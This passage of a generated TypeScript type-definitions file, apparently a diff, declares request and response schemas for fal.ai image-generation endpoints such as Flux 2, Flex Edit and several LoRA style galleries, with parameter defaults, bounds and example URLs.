integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeCa3D346A | InputFalAiFlux1SrpoImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1SrpoOutputFormatEnumKey +} + +export type Image120Eb29C = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1Srpo = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"height":768,"content_type":"image/jpeg","url":"https://storage.googleapis.com/falserverless/example_outputs/flux-srpo-output.jpeg","width":1024}] + * @type array + */ + images: Image120Eb29C[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiFlux1SrpoImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1SrpoImageToImageAccelerationEnumKey = + (typeof inputFalAiFlux1SrpoImageToImageAccelerationEnum)[keyof typeof inputFalAiFlux1SrpoImageToImageAccelerationEnum] + +export const inputFalAiFlux1SrpoImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1SrpoImageToImageOutputFormatEnumKey = + (typeof inputFalAiFlux1SrpoImageToImageOutputFormatEnum)[keyof typeof inputFalAiFlux1SrpoImageToImageOutputFormatEnum] + +export type InputFalAiFlux1SrpoImageToImage = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1SrpoImageToImageAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A cat dressed as a wizard with a background of a mystic forest. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/koala/Chls9L2ZnvuipUTEwlnJC.png + * @type string + */ + image_url: string + /** + * @description The strength of the initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1SrpoImageToImageOutputFormatEnumKey +} + +export type ImageE0075716 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1SrpoImageToImage = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: ImageE0075716[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize5C7Dc73E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2AccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2AccelerationEnumKey = + (typeof inputFalAiFlux2AccelerationEnum)[keyof typeof inputFalAiFlux2AccelerationEnum] + +export const inputFalAiFlux2ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2ImageSizeKey = + (typeof inputFalAiFlux2ImageSize)[keyof typeof inputFalAiFlux2ImageSize] + +export const inputFalAiFlux2OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2OutputFormatEnumKey = + (typeof inputFalAiFlux2OutputFormatEnum)[keyof typeof inputFalAiFlux2OutputFormatEnum] + +export type InputFalAiFlux2 = { + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description If set to true, the prompt will be expanded for better results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Guidance Scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The acceleration level to use for the image generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiFlux2AccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Dutch angle close-up of a survivor in post-apocalyptic setting, dust-covered face, dramatic harsh sunlight creating deep shadows, happy expression, desaturated dystopian color palette, gritty realism + * @type string + */ + prompt: string + /** + * @description The size of the image to generate. The width and height must be between 512 and 2048 pixels. + * @default landscape_4_3 + */ + image_size?: ImageSize5C7Dc73E | InputFalAiFlux2ImageSizeKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2OutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFile2578Ddb2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2 = { + /** + * @description The generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2_dev_t2i_output.png"}] + * @type array + */ + images: ImageFile2578Ddb2[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize4E836B82 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2FlexImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2FlexImageSizeKey = + (typeof inputFalAiFlux2FlexImageSize)[keyof typeof inputFalAiFlux2FlexImageSize] + +export const inputFalAiFlux2FlexOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux2FlexOutputFormatEnumKey = + (typeof inputFalAiFlux2FlexOutputFormatEnum)[keyof typeof inputFalAiFlux2FlexOutputFormatEnum] + +export const inputFalAiFlux2FlexSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', +} as const + +export type InputFalAiFlux2FlexSafetyToleranceEnumKey = + (typeof inputFalAiFlux2FlexSafetyToleranceEnum)[keyof typeof inputFalAiFlux2FlexSafetyToleranceEnum] + +export type InputFalAiFlux2Flex = { + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize4E836B82 | InputFalAiFlux2FlexImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux2FlexOutputFormatEnumKey + /** + * @description The guidance scale to use for the generation. + * @minimum 1.5 + * @maximum 10 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFlux2FlexSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to generate an image from. + * @example A high-quality 3D render of a cute fluffy monster eating a giant donut; the fur simulation is incredibly detailed, the donut glaze is sticky and reflective, bright daylight lighting, shallow depth of field. + * @type string + */ + prompt: string + /** + * @description The seed to use for the generation. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFileDb4748Bc = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Flex = { + /** + * @description The generated images. + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2_flex_t2i_output.png"}] + * @type array + */ + images: ImageFileDb4748Bc[] + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number +} + +export type ImageSize9Df52539 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2FlexEditImageSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2FlexEditImageSizeKey = + (typeof inputFalAiFlux2FlexEditImageSize)[keyof typeof inputFalAiFlux2FlexEditImageSize] + +export const inputFalAiFlux2FlexEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux2FlexEditOutputFormatEnumKey = + (typeof inputFalAiFlux2FlexEditOutputFormatEnum)[keyof typeof inputFalAiFlux2FlexEditOutputFormatEnum] + +export const inputFalAiFlux2FlexEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', +} as const + +export type InputFalAiFlux2FlexEditSafetyToleranceEnumKey = + (typeof inputFalAiFlux2FlexEditSafetyToleranceEnum)[keyof typeof inputFalAiFlux2FlexEditSafetyToleranceEnum] + +export type InputFalAiFlux2FlexEdit = { + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. If `auto`, the size will be determined by the model. + * @default auto + */ + image_size?: ImageSize9Df52539 | InputFalAiFlux2FlexEditImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux2FlexEditOutputFormatEnumKey + /** + * @description The guidance scale to use for the generation. + * @minimum 1.5 + * @maximum 10 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFlux2FlexEditSafetyToleranceEnumKey + /** + * @description List of URLs of input images for editing + * @example ["https://storage.googleapis.com/falserverless/example_inputs/flux2_flex_edit_input.png"] + * @type array + */ + image_urls: string[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to generate an image from. + * @example Change colors of the vase. In a cozy living room setting, visualize a gradient vase placed on a table, flowing from rich #6a0dad to soft #ff69b4. Add an artistic carving text with a big font on vase says "FLEX" in the middle. + * @type string + */ + prompt: string + /** + * @description The seed to use for the generation. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFileD3A176C3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2FlexEdit = { + /** + * @description The generated images. + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2_flex_edit_output.png"}] + * @type array + */ + images: ImageFileD3A176C3[] + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number +} + +export type ImageSize85099E37 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryAddBackgroundImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryAddBackgroundImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryAddBackgroundImageSize)[keyof typeof inputFalAiFlux2LoraGalleryAddBackgroundImageSize] + +export const inputFalAiFlux2LoraGalleryAddBackgroundOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryAddBackgroundOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryAddBackgroundOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryAddBackgroundOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryAddBackgroundAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryAddBackgroundAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryAddBackgroundAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryAddBackgroundAccelerationEnum] + +/** + * @description Input model for Add Background endpoint - Add background to images + * @type object + */ +export type InputFalAiFlux2LoraGalleryAddBackground = { + /** + * @description The size of the generated image. If not provided, the size of the input image will be used. + */ + image_size?: + | ImageSize85099E37 + | InputFalAiFlux2LoraGalleryAddBackgroundImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryAddBackgroundOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URLs of the images. Provide an image with a white or clean background. + * @example ["https://v3b.fal.media/files/b/penguin/SLhCyojehICmW3dW6U5F0.jpg"] + * @type array + */ + image_urls: string[] + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the add background effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryAddBackgroundAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt describing the background to add. Must start with 'Add Background' followed by your description. + * @default 'Add Background forest' + * @example Add Background forest + * @example Add Background modern office + * @example Add Background beach sunset + * @example Add Background city skyline at night + * @type string | undefined + */ + prompt?: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image948Bb738 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryAddBackground = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated images with added background + * @example [{"url":"https://v3b.fal.media/files/b/lion/g0VrXhRU1YBK9B1MnGpyi.png"}] + * @type array + */ + images: Image948Bb738[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSize41A8A2Cf = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryApartmentStagingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryApartmentStagingImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryApartmentStagingImageSize)[keyof typeof inputFalAiFlux2LoraGalleryApartmentStagingImageSize] + +export const inputFalAiFlux2LoraGalleryApartmentStagingOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryApartmentStagingOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryApartmentStagingOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryApartmentStagingOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryApartmentStagingAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryApartmentStagingAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryApartmentStagingAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryApartmentStagingAccelerationEnum] + +/** + * @description Input model for Apartment Staging endpoint - Furnish rooms + * @type object + */ +export type InputFalAiFlux2LoraGalleryApartmentStaging = { + /** + * @description The size of the generated image. If not provided, the size of the input image will be used. + */ + image_size?: + | ImageSize41A8A2Cf + | InputFalAiFlux2LoraGalleryApartmentStagingImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryApartmentStagingOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the empty room image to furnish. + * @example ["https://v3b.fal.media/files/b/tiger/58rkpMdBl7eqcxuZ8YRus.png"] + * @type array + */ + image_urls: string[] + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the apartment staging effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryApartmentStagingAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate a furnished room. Use 'furnish this room' for best results. + * @example Furnish this room with modern furniture and decor + * @example Furnish this empty apartment with cozy living room furniture + * @example Furnish this room with minimalist Scandinavian design + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image871004Fa = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryApartmentStaging = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated furnished room images + * @example [{"url":"https://v3b.fal.media/files/b/panda/3J1ezJEhcDLwoC9P8imqj.png"}] + * @type array + */ + images: Image871004Fa[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSize4045F50B = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryBallpointPenSketchImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryBallpointPenSketchImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryBallpointPenSketchImageSize)[keyof typeof inputFalAiFlux2LoraGalleryBallpointPenSketchImageSize] + +export const inputFalAiFlux2LoraGalleryBallpointPenSketchOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryBallpointPenSketchOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryBallpointPenSketchOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryBallpointPenSketchOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryBallpointPenSketchAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryBallpointPenSketchAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryBallpointPenSketchAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryBallpointPenSketchAccelerationEnum] + +/** + * @description Input model for Ballpoint Pen Sketch endpoint - Generate ballpoint pen sketch style images + * @type object + */ +export type InputFalAiFlux2LoraGalleryBallpointPenSketch = { + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSize4045F50B + | InputFalAiFlux2LoraGalleryBallpointPenSketchImageSizeKey + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryBallpointPenSketchOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the ballpoint pen sketch effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryBallpointPenSketchAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate a ballpoint pen sketch style image. Use 'b4llp01nt' trigger word for best results. + * @example Portrait of a person, b4llp01nt ballpoint pen sketch + * @example Urban landscape sketch in ballpoint pen style + * @example Detailed hand-drawn illustration of a building + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image1B635F40 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryBallpointPenSketch = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated ballpoint pen sketch style images + * @example [{"url":"https://v3b.fal.media/files/b/lion/6Eq6ijrWRcWsa6ivqdlL1.png"}] + * @type array + */ + images: Image1B635F40[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSizeCd34F649 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryDigitalComicArtImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryDigitalComicArtImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryDigitalComicArtImageSize)[keyof typeof inputFalAiFlux2LoraGalleryDigitalComicArtImageSize] + +export const inputFalAiFlux2LoraGalleryDigitalComicArtOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryDigitalComicArtOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryDigitalComicArtOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryDigitalComicArtOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryDigitalComicArtAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryDigitalComicArtAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryDigitalComicArtAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryDigitalComicArtAccelerationEnum] + +/** + * @description Input model for Digital Comic Art endpoint - Generate digital comic art style images + * @type object + */ +export type InputFalAiFlux2LoraGalleryDigitalComicArt = { + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSizeCd34F649 + | InputFalAiFlux2LoraGalleryDigitalComicArtImageSizeKey + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryDigitalComicArtOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 